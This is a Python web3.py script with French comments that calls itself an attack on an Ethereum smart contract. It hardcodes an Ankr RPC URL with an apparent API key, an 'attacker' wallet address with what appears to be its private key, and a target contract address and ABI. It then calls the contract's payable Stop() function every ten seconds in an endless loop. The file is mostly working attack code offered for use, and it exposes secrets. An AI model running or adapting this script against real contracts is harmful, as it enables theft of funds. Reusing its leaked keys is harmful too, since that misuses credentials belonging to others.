from web3 import Web3 import time # Connexion via Ankr (remplacez par votre propre URL API Ankr) w3 = Web3(Web3.HTTPProvider('https://rpc.ankr.com/eth/1e61989fdd15ff34141a0e9a7f09ec68e8ca446733eae8926663c4f28a46dc39')) # URL d'Ankr pour Ethereum # Vérification de la connexion if not w3.is_connected(): # La méthode correcte est is_connected() en Web3 print("Erreur : impossible de se connecter au réseau Ethereum.") exit() # Adresse et clé privée du portefeuille attaquant attacker_address = "0xe2BD7f3E83EBB188b4a9b39A4aDFAFcd70F85c87" # Remplace par l'adresse de ton portefeuille attaquant private_key = "2b1cb662ea04745bb06bc7ec3d8c09643295c65adae6366cfcddc4312d2ff1c5" # Remplace par la clé privée de ton portefeuille # Adresse du contrat cible sur Ethereum (remplace par l'adresse du contrat à attaquer) contract_address = "0xbeF32D2B61213690aa1fAB8BcB4677c6AeFCb38e" # Remplace par l'adresse du contrat cible # ABI du contrat à attaquer (remplacer par le vrai ABI du contrat) contract_abi = '[{"inputs":[{"internalType":"bytes32[]","name":"admins","type":"bytes32[]"}],"stateMutability":"nonpayable","type":"constructor"},{"stateMutability":"nonpayable","type":"fallback"},{"inputs":[{"internalType":"string","name":"_question","type":"string"},{"internalType":"bytes32","name":"_responseHash","type":"bytes32"}],"name":"New","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"string","name":"_question","type":"string"},{"internalType":"string","name":"_response","type":"string"}],"name":"Start","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"Stop","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"string","name":"_response","type":"string"}],"name":"Try","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"question","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"}]' # Connexion au contrat via l'ABI contract = w3.eth.contract(address=contract_address, abi=contract_abi) # Fonction pour initier l'attaque def launch_attack(): try: # Appel de la fonction 'Stop' dans le contrat cible et elle accepte de l'ETH (payable) tx = contract.functions.Stop().buildTransaction({ 'gas': 200000, # Estimation du gas utilisé 'gasPrice': w3.toWei('20', 'gwei'), # Le prix du gas 'nonce': w3.eth.getTransactionCount(attacker_address), # Compte de transactions pour l'adresse attaquante 'from': attacker_address, # L'adresse attaquante doit être spécifiée explicitement 'value': 0 # Assurez-vous que "value" est correct si la fonction nécessite ETH }) # Signature de la transaction avec la clé privée signed_tx = w3.eth.account.signTransaction(tx, private_key) # Envoi de la transaction signée tx_hash = w3.eth.sendRawTransaction(signed_tx.rawTransaction) # Attente de la confirmation de la transaction tx_receipt = w3.eth.waitForTransactionReceipt(tx_hash) print(f"Transaction envoyée avec succès! Hash: {w3.toHex(tx_hash)}") print(f"Transaction reçue avec succès! Receipt: {tx_receipt}") except Exception as e: print(f"Erreur durant l'attaque : {str(e)}") # Fonction pour réitérer l'attaque def repeat_attack(): while True: launch_attack() time.sleep(10) # Attaques répétées toutes les 10 secondes # Lancer l'attaque repeat_attack()